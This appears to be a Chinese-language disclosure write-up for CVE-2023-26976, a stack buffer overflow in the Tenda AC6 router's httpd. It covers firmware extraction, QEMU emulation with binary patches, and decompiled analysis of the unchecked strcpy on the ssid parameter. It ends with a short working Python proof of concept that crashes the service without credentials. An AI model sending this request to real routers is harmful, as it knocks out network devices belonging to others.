

CVE-2023-26976_tenda_AC6_stack_overflow

漏洞描述

编号

CVE-2023-26976

设备信息&固件版本号

Tenda AC6:

v15.03.05.09_multi ~ V15.03.05.19(latest)

goahead framework

漏洞类型

DoS

危害

可访问路由器的攻击者无需凭证即可执行远程拒绝服务攻击

复现流程

复现设备&固件

Tenda AC6


v15.03.05.16_multi

v15.03.05.19_multi(latest)

固件下载&仿真

v15.03.05.16_multi

https://down.tenda.com.cn/uploadfile/AC6/US_AC6V1.0BR_V15.03.05.16_multi_TD01.zip



提取固件

```
(kali@kali)-[~/routers]
$ binwalk -Me US_AC6V1.0BR_V15.03.05.16_multi_TD01.bin

Scan Time:      2023-04-09 23:42:51
Target File:    /home/kali/routers/US_AC6V1.0BR_V15.03.05.16_multi_TD01.bin
MD5 Checksum:  677ced73cf0b32a6018ba1c8569f34cb
Signatures:    411

DECIMAL      HEXADECIMAL      DESCRIPTION
-----
64           0x40             TRX firmware header, little endian, image size:
6778880 bytes, CRC32: 0x80AD82D6, flags: 0x0, version: 1, header size: 28 by
tes, loader offset: 0x1C, linux kernel offset: 0x1A488C, rootfs offset: 0x0
92           0x5C             LZMA compressed data, properties: 0x5D, diction
ary size: 65536 bytes, uncompressed size: 4177792 bytes

1722572      0x1A48CC         Squashfs filesystem, little endian, version 4.0
, compression:xz, size: 5052332 bytes, 848 inodes, blocksize: 131072 bytes, c
reated: 2017-04-19 16:18:08

Scan Time:      2023-04-09 23:42:51
Target File:    /home/kali/routers/_US_AC6V1.0BR_V15.03.05.16_multi_TD01.bin-0
.extracted/5C
MD5 Checksum:  2ab6eb21e474b800d9032293d69b170c
Signatures:    411
```

Qemu仿真,发现卡在Welcome to


```

BL      R3, [R11, #var_B4]
BL      init_core_dump
LDR      R3, =(aYesWeLoveLinux - 0xFAD1C) ; "\n\nYes:\n\n      ***** WeLoveLinux***"...
ADD      R3, R4, R3 ; "\n\nYes:\n\n      ***** WeLoveLinux***"...
MOV      R0, R3 ; s
BL      puts
BL      sub_30920

```

```

loc_2E23C
SUB      R3, R11, #-var_B4
MOV      R0, R3
BL      check_network
MOV      R3, #1 ; Keypatch modified this from:
           ; MOV R3, R0
CMP      R3, #0 ; Keypatch modified this from:
           ; CMP R3, #0
BGT      loc_2E260

```

接着运行，ConnectCfm也不通过，同样patch试试

```

(root@kali)-[/home/kali/routers/_US_AC6V1.0BR_V15.03.05.16_multi_TD01.bin
.extracted/squashfs-root]
# qemu-arm -L ./ bin/httpd -g 23946
init_core_dump 1816: rlim_cur = 0, rlim_max = -1
init_core_dump 1825: open core dump success
init_core_dump 1834: rlim_cur = 5242880, rlim_max = 5242880

Yes:

***** WeLoveLinux*****

Welcome to ...
connect: No such file or directory
Connect to server failed.
connect cfm failed!

(root@kali)-[/home/kali/routers/_US_AC6V1.0BR_V15.03.05.16_multi_TD01.bin

```

```

114     v5 = 0;
115 }
116 else
117 {
118     puts("main -> initWebs failed");
119     v5 = -1;
120 }
121 }
122 else
123 {
124     printf("connect cfm failed!");
125     v5 = 0;
126 }
127 return v5;
128 }

```


改的两个函数都是import来的，先找check_network


```
(root@kali)-[/home/kali/routers/_US_AC6V1.0BR_V15.03.05.16_multi_TD01.bin]
└─# grep -rn 'check_network'
grep: lib/libcommon.so: binary file matches
grep: bin/netctrl: binary file matches
grep: bin/multiWAN: binary file matches
grep: bin/httpd: binary file matches
grep: bin/logserver: binary file matches
grep: bin/tendaupload: binary file matches
grep: bin/phddns: binary file matches
grep: bin/httpd_patch: binary file matches
└─(root@kali)-[/home/kali/routers/_US_AC6V1.0BR_V15.03.05.16_multi_TD01.bin]
```

跟进 libcommon.so

The screenshot shows the IDA Pro interface. On the left, the 'Functions window' lists several functions: `j_check_network`, `check_network`, and `check_network_and_wait`. The `check_network` function is selected. On the right, the 'Pseudocode-A' view shows the following code:

```
1 bool __fastcall check_network(int a1)
2 {
3     int v1; // r0
4
5     v1 = j_getLanIfName();
6     return j_getIfIp(v1, a1) >= 0;
7 }
```

看起来是根据interface名字获取ip，用于服务起的地址，跟进j_getLanIfName()



继续跟进import来的get_eth_name, 在 libChipApi.so

```
(root@kali)-[/home/kali/routers/_US_AC6V1.0BR_V15.03.05.16_multi_TD01.bin]
└─# grep -rn 'get_eth_name'
grep: lib/libtpi.so: binary file matches
grep: lib/libcommon.so: binary file matches
grep: lib/libChipApi.so: binary file matches
grep: bin/netctrl: binary file matches
grep: bin/multiWAN: binary file matches
grep: bin/dnrd: binary file matches
grep: bin/cfmd: binary file matches
grep: bin/httpd: binary file matches
grep: bin/time_check: binary file matches
grep: bin/dhcpd: binary file matches
grep: bin/business_proc: binary file matches
grep: bin/httpd_patch: binary file matches
```

根据传来的int决定使用那个interface, 根据libcommon.so中的跟踪确定传入的int为0, 即获取网桥br0的地址

Functions window

Function name

j_get_eth_name

get_eth_name

init_eth

set_eth_mode_speed

get_eth_status

set_eth_led

<

>


eth

Line 2 of 6

IDA View-A

Pseudocode-A

```
1 const char *__fastcall get_eth_name(int a1)
2 {
3     const char *v1; // r3
4
5     switch ( a1 )
6     {
7         case 0:
8             v1 = "br0";
9             break;
10        case 1:
11            v1 = "br1";
12            break;
13        case 6:
14            v1 = "vlan1";
15            break;
16        case 10:
17            v1 = "vlan2";
18            break;
19        case 11:
20            v1 = "vlan3";
21            break;
22        case 12:
23            v1 = "vlan4";
24            break;
25        case 13:
26            v1 = "vlan5";
27            break;
28        case 23:
29            v1 = "eth2";
30            break;
31        case 24:
32            v1 = "wl1.1";
33            break;
34        case 27:
35            v1 = "eth1";
36            break;
37        case 28:
38            v1 = "wl0.1";
```

因此可以直接创建一个名为br0的网桥，再启动服务，至此仿真设备服务起来了

```

d/squashfs-root]
└─$ sudo brctl addbr br0

(kali㉿kali)-[~/routers/_US_AC6V1.0BR_V15.03.05.16_multi_TD01.bin.extracte
d/squashfs-root]
└─$ sudo ifconfig br0 192.168.2.199/24

(kali㉿kali)-[~/routers/_US_AC6V1.0BR_V15.03.05.16_multi_TD01.bin.extracte
d/squashfs-root]
└─$ sudo qemu-arm -L ./ bin/httpd_patch -g 23946
init_core_dump 1816: rlim_cur = 0, rlim_max = 0
init_core_dump 1825: open core dump success
init_core_dump 1834: rlim_cur = 5242880, rlim_max = 5242880

Yes:



***** WeLoveLinux*****

Welcome to ...
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
create socket fail -1
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
[httpd][debug]-----webs.c,157
httpd listen ip = 192.168.2.199 port = 80
webs: Listening for HTTP requests at address 192.168.2.199
^C

(kali㉿kali)-[~/routers/_US_AC6V1.0BR_V15.03.05.16_multi_TD01.bin.extracte
d/squashfs-root]
└─$ sudo qemu-arm -L ./ bin/httpd_patch -g 23946

```

最后访问地址会404，看了一下webroot里是空的，把webroot_ro目录下文件复制进去web服务即可正常工作



漏洞分析

漏洞点在httpd服务中的form_fast_setting_wifi_set()

路由/goform/fast_setting_wifi_set

将用户输入的 ssid 参数传入 src , 但使用 strcpy(s, src) 时没有长度限制, 又 s 为 char s[64] , 即在 cpy时存在溢出

```

(root@kali)-[/home/kali/routers/_US_AC6V1.0BR_V15.03.05.16_multi_TD01.bin
.extracted/squashfs-root]
# grep -rn 'fast_setting_wifi_set'
var/webroot/js/index.js:810:      $.post("goform/fast_setting_wifi_
set", data, handWifi);
var/webroot/js/index.js:877:      $.post("goform/fast_setting_wifi_set", da
ta, handWifi);
webroot_ro/js/index.js:810:      $.post("goform/fast_setting_wifi_s
et", data, handWifi);
webroot_ro/js/index.js:877:      $.post("goform/fast_setting_wifi_set", dat
a, handWifi);

```

There is a stack-based buffer overflow vulnerability in function `form_fast_setting_wifi_set`. In function `form_fast_setting_wifi_set` it reads user provided parameter `ssid` into `src`, and this variable is passed into function `strcpy` without any length check, which may overflow the stack-based buffer `s`.

```

1 int __fastcall form_fast_setting_wifi_set(int a1)
2 {
3     _BYTE *v1; // r0
4     int v4[4]; // [sp+1Ch] [bp-160h] BYREF
5     char nptr[4]; // [sp+2Ch] [bp-150h] BYREF
6     char v6[4]; // [sp+30h] [bp-14Ch] BYREF
7     char v7[4]; // [sp+34h] [bp-148h] BYREF
8     char v8[4]; // [sp+38h] [bp-144h] BYREF
9     char v9[72]; // [sp+3Ch] [bp-140h] BYREF
10    char v10[64]; // [sp+84h] [bp-F8h] BYREF
11    char dest[64]; // [sp+C4h] [bp-B8h] BYREF
12    char s[64]; // [sp+104h] [bp-78h] BYREF
13    char v13[12]; // [sp+144h] [bp-38h] BYREF
14    int v14; // [sp+150h] [bp-2Ch] BYREF
15    _BYTE *v15; // [sp+154h] [bp-28h]
16    int v16; // [sp+158h] [bp-24h]
17    char *s1; // [sp+15Ch] [bp-20h]
18    _BYTE *v18; // [sp+160h] [bp-1Ch]
19    char *src; // [sp+164h] [bp-18h]
20    int v20; // [sp+168h] [bp-14h]
21    int v21; // [sp+16Ch] [bp-10h]
22
23    v14 = 0;
24    memset(s, 0, sizeof(s));
25    memset(dest, 0, sizeof(dest));
26    memset(v10, 0, sizeof(v10));
27    v21 = 1;
28    memset(&v9[16], 0, 56);
29    src = (char *)websgetvar(a1, "ssid", &unk_DFB94);
30    strcpy(s, src);
31    strcpy(dest, src);
32    v18 = (_BYTE *)websgetvar(a1, "wrlPassword", &unk_DFB94);

```

漏洞利用

get请求触发溢出

```
import requests

IP = "192.168.2.199" # 路由器ip
url = f"http://{IP}/goform/fast_setting_wifi_set?"
url += "ssid=" + "s" * 100

response = requests.get(url)
```

